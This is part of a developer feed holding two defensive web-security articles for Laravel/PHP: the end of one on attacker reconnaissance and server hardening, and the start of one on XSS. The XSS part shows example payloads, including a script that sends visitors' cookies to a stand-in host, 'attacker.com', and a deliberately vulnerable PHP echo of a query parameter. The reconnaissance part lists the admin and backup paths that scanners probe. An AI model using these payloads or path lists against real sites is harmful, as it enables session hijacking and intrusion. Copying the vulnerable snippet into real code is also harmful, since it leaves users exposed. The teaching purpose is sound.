&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="nv"&gt;$e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Log everything internally&lt;/span&gt;
    &lt;span class="nc"&gt;Log&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Database error: '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$e&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getMessage&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="s1"&gt;'file'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$e&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getFile&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
        &lt;span class="s1"&gt;'line'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$e&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getLine&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;]);&lt;/span&gt;

    &lt;span class="c1"&gt;// Show nothing useful externally&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Something went wrong. Please try again.'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;500&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Log the full error internally. Show nothing externally. The user does not need to know what went wrong technically. The attacker definitely should not know.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;7. Predictable Admin Routes&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Automated scanners probe for common admin panel locations on every site they find:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/admin
/admin/login
/dashboard
/administrator
/panel
/backend
/manage
/cp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If your admin panel is at one of these locations with no rate limiting, no IP restriction, and no additional authentication layer, it is being probed constantly without you knowing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;8. Directory Listing&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If your web server has directory listing enabled, an attacker can browse your file structure like a file manager:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://yoursite.com/storage/
https://yoursite.com/public/uploads/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;They see every file you have uploaded. Every log file. Every temporary file. Every backup your application has ever generated.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;9. Backup Files Left in Public Directories&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Developers sometimes create backup files that end up publicly accessible:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://yoursite.com/index.php.bak
https://yoursite.com/config.php.old
https://yoursite.com/database.sql
https://yoursite.com/backup.zip
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Automated scanners check for hundreds of these patterns on every site they probe. A database backup file left in a public directory is a complete data breach waiting to be discovered.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How Attackers Automate This&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Reconnaissance is not done manually by a person sitting at a keyboard.&lt;/p&gt;

&lt;p&gt;Automated tools scan millions of sites continuously:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Nikto&lt;/strong&gt; scans for thousands of known vulnerabilities and misconfigurations&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Gobuster&lt;/strong&gt; brute forces directory and file names against wordlists of thousands of common paths&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;WhatWeb&lt;/strong&gt; fingerprints web technologies from response headers and page content&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;GitDumper&lt;/strong&gt; reconstructs source code from exposed Git objects automatically&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These tools run against every IP address they can find. Your site is being scanned whether you know it or not. The question is not whether reconnaissance is happening it is whether your app is giving the scanners useful answers.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What to Hide — The Complete Checklist&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Laravel configuration:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;&lt;span class="c"&gt;# .env — production settings
&lt;/span&gt;&lt;span class="n"&gt;APP_ENV&lt;/span&gt;=&lt;span class="n"&gt;production&lt;/span&gt;
&lt;span class="n"&gt;APP_DEBUG&lt;/span&gt;=&lt;span class="n"&gt;false&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// config/app.php&lt;/span&gt;
&lt;span class="s1"&gt;'debug'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nf"&gt;env&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'APP_DEBUG'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Restrict developer tool access:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Configure Telescope authorization and ensure the dashboard is restricted to trusted users or IP addresses:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// app/Providers/TelescopeServiceProvider.php&lt;/span&gt;
&lt;span class="nc"&gt;Gate&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nb"&gt;define&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'viewTelescope'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;in_array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;request&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="s1"&gt;'127.0.0.1'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="c1"&gt;// your trusted IP addresses&lt;/span&gt;
    &lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Apply the same principle to Horizon and Debugbar  both should require authentication or IP restriction before any production deployment.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Block sensitive files at the web server level:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For Nginx:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nginx"&gt;&lt;code&gt;&lt;span class="k"&gt;location&lt;/span&gt; &lt;span class="p"&gt;~&lt;/span&gt; &lt;span class="sr"&gt;/\.(env|git|htaccess)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kn"&gt;deny&lt;/span&gt; &lt;span class="s"&gt;all&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kn"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;404&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;location&lt;/span&gt; &lt;span class="p"&gt;~&lt;/span&gt; &lt;span class="sr"&gt;\.(bak|old|sql|zip|tar|gz)$&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kn"&gt;deny&lt;/span&gt; &lt;span class="s"&gt;all&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kn"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;404&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For Apache:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight apache"&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nl"&gt;FilesMatch&lt;/span&gt;&lt;span class="sr"&gt; "\.(env|git|bak|old|sql|zip)$"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;
&lt;/span&gt;    &lt;span class="nc"&gt;Order&lt;/span&gt; allow,deny
    &lt;span class="nc"&gt;Deny&lt;/span&gt; &lt;span class="ss"&gt;from&lt;/span&gt; &lt;span class="ss"&gt;all&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nl"&gt;FilesMatch&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Remove technology headers:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In php.ini:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="py"&gt;expose_php&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;Off&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For Nginx:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nginx"&gt;&lt;code&gt;&lt;span class="k"&gt;server_tokens&lt;/span&gt; &lt;span class="no"&gt;off&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For Apache:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight apache"&gt;&lt;code&gt;&lt;span class="nc"&gt;ServerTokens&lt;/span&gt; Prod
&lt;span class="nc"&gt;ServerSignature&lt;/span&gt; &lt;span class="ss"&gt;Off&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Disable directory listing:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For Nginx:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nginx"&gt;&lt;code&gt;&lt;span class="k"&gt;autoindex&lt;/span&gt; &lt;span class="no"&gt;off&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For Apache:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight apache"&gt;&lt;code&gt;&lt;span class="nc"&gt;Options&lt;/span&gt; -Indexes
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Custom error pages that reveal nothing:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// app/Exceptions/Handler.php&lt;/span&gt;
&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;render&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;Throwable&lt;/span&gt; &lt;span class="nv"&gt;$exception&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;app&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'production'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;isHttpException&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$exception&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;response&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;view&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
                &lt;span class="s1"&gt;'errors.'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$exception&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getStatusCode&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
                &lt;span class="p"&gt;[],&lt;/span&gt;
                &lt;span class="nv"&gt;$exception&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getStatusCode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;response&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;view&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'errors.500'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[],&lt;/span&gt; &lt;span class="mi"&gt;500&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;parent&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;render&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$exception&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Rate limit sensitive routes:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// routes/web.php&lt;/span&gt;
&lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;'throttle:5,1'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;group&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/login'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nc"&gt;AuthController&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'login'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/admin/login'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nc"&gt;AdminController&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'login'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;5 attempts per minute. After that, Laravel applies throttling and returns a 429 response until the limit window resets.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Deployment Checklist&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Run this after every deployment:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;APP_DEBUG=false&lt;/code&gt; confirmed in production&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;APP_ENV=production&lt;/code&gt; confirmed&lt;/li&gt;
&lt;li&gt;.env file not accessible via browser&lt;/li&gt;
&lt;li&gt;.git directory not in web root or blocked at server level&lt;/li&gt;
&lt;li&gt;Telescope, Horizon, Debugbar behind authentication or IP restriction&lt;/li&gt;
&lt;li&gt;Directory listing disabled&lt;/li&gt;
&lt;li&gt;Technology headers removed&lt;/li&gt;
&lt;li&gt;No backup or temporary files in public directories&lt;/li&gt;
&lt;li&gt;Admin routes rate limited&lt;/li&gt;
&lt;li&gt;Custom error pages returning generic messages&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Where Kriosa Fits&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Security configuration reduces your attack surface, but it does not stop attackers from trying. Every public application receives automated scanning sooner or later.&lt;/p&gt;

&lt;p&gt;Reconnaissance generates distinctive traffic patterns that differ from normal user behavior.&lt;/p&gt;

&lt;p&gt;Rapid sequential requests to non-existent paths. Requests for known sensitive file locations like .env, .git/config, and backup extensions. Requests with scanner user agent strings. Unusual probing patterns against admin route locations.&lt;/p&gt;

&lt;p&gt;These patterns are exactly what Kriosa's ML engine detects flagging reconnaissance activity in your XAI dashboard before it turns into exploitation.&lt;/p&gt;

&lt;p&gt;You cannot always prevent an attacker from probing your app. You can prevent your app from giving useful answers. And you can know the moment probing starts.&lt;/p&gt;

&lt;p&gt;Configuration closes the information gaps. Kriosa watches for the probing behavior.&lt;/p&gt;

&lt;p&gt;Both layers together.&lt;/p&gt;

&lt;p&gt;Try it free: &lt;strong&gt;&lt;a href="https://kriosa.com" rel="noopener noreferrer"&gt;kriosa.com&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;
Install it: &lt;strong&gt;composer require kriosa-ai/kriosa-php&lt;/strong&gt; . Kriosa &lt;a href="//kriosa.com/documentation.php"&gt;documentation&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Built by a developer from Cameroon, for developers who want to understand their security not just outsource it.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Series So Far&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://medium.com/system-weakness/what-your-php-logs-actually-look-like-during-an-sql-injection-attack-571aa807f5fe" rel="noopener noreferrer"&gt;Article 1&lt;/a&gt;: What your PHP logs actually look like during a SQL injection attack&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/system-weakness/why-url-encoding-can-break-php-security-checks-and-what-actually-works-748d2ebc848e" rel="noopener noreferrer"&gt;Article 2&lt;/a&gt;: Why URL encoding can break PHP security checks&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/@jnchiminyi/the-decode-bomb-problem-why-unlimited-url-decoding-can-be-its-own-vulnerability-b1cad85c17ff" rel="noopener noreferrer"&gt;Article 3&lt;/a&gt;: The decode bomb problem — why unlimited URL decoding can be its own vulnerability&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/@jnchiminyi/parameterized-queries-the-only-real-fix-for-sql-injection-2e7dafc7897b" rel="noopener noreferrer"&gt;Article 4&lt;/a&gt;: Parameterized queries — the only real fix for SQL injection&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/@jnchiminyi/xss-prevention-in-laravel-why-is-the-line-between-safe-and-hacked-352101b9243a" rel="noopener noreferrer"&gt;Article 5&lt;/a&gt;: XSS prevention in Laravel and why &lt;code&gt;{!! !!}&lt;/code&gt; is the line between safe and hacked&lt;/li&gt;
&lt;li&gt;Article 6: This article — how attackers enumerate your Laravel app and what to hide&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>php</category>
      <category>security</category>
      <category>cybersecurity</category>
      <category>laravel</category>
    </item>
    <item>
      <title>XSS Prevention in Laravel — Why {!! !!} Is the Line Between Safe and Hacked</title>
      <dc:creator>Nchiminyi — Founder, Kriosa</dc:creator>
      <pubDate>Fri, 17 Jul 2026 19:18:43 +0000</pubDate>
      <link>https://dev.to/kriosa/xss-prevention-in-laravel-why-is-the-line-between-safe-and-hacked-17lc</link>
      <guid>https://dev.to/kriosa/xss-prevention-in-laravel-why-is-the-line-between-safe-and-hacked-17lc</guid>
      <description>&lt;p&gt;Originaly published on medium&lt;br&gt;
One character difference in your Blade template. One open door for attackers.&lt;br&gt;
This is the fifth article in a series on PHP and Laravel application security.&lt;/p&gt;

&lt;p&gt;So far we have covered;&lt;/p&gt;

&lt;p&gt;Detecting SQL injection attempts in PHP logs&lt;br&gt;
Why URL encoding blinds most PHP security checks&lt;br&gt;
The decode bomb problem with unlimited URL decoding&lt;br&gt;
Why parameterized queries are the only real fix for SQL injection&lt;br&gt;
Every article in this series follows the same principle understand the attack before you try to stop it.&lt;/p&gt;

&lt;p&gt;XSS is no different.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What XSS Actually Is&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Cross-Site Scripting — XSS — is an attack where an attacker injects malicious JavaScript into a page that other users then see and execute in their browsers.&lt;/p&gt;

&lt;p&gt;The name is misleading. It is not really about crossing sites. It is about injecting scripts into pages that other people visit.&lt;/p&gt;

&lt;p&gt;Here is the simplest version&lt;/p&gt;

&lt;p&gt;A website has a comment section. A user submits this as their comment.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;hacked&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the website displays that comment without sanitizing it, every user who visits that page sees a popup. That is the mild demonstration version.&lt;/p&gt;

&lt;p&gt;The dangerous version looks like this.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://attacker.com/steal?cookie=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The attacker may steal session tokens, perform actions as the victim, or read sensitive page data depending on the application’s protections. If session cookies are not protected with attributes such as HttpOnly, Secure, and appropriate SameSite settings, an attacker may be able to hijack the user's session without knowing their password.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Three Types of XSS&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Understanding which type you are dealing with changes how you defend against it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reflected XSS&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The malicious script comes from the current HTTP request usually a URL parameter.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;https://yoursite.com/search?q=&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;xss&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If your page displays the query parameter directly without encoding.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Search results for: "&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'q'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The script executes in the victim’s browser the moment they visit that URL. The attacker tricks a user into clicking a crafted link and the attack runs immediately.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Stored XSS&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The malicious script is saved to the database and displayed to every user who visits the affected page. A comment. A username. A profile bio. A product review. Any field that is stored and later displayed is a potential stored XSS vector. This is the most dangerous type because it runs automatically for every visitor without requiring them to click anything.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DOM-based XSS&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The vulnerable server-side code may never process the malicious payload because the vulnerability exists entirely in client-side JavaScript. It exploits JavaScript that reads from the URL and writes to the DOM without sanitization. This is the hardest type to detect server-side because it never reaches your PHP or Laravel code.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Blade Templating Line That Matters&lt;/strong&gt;&lt;/p&gt;

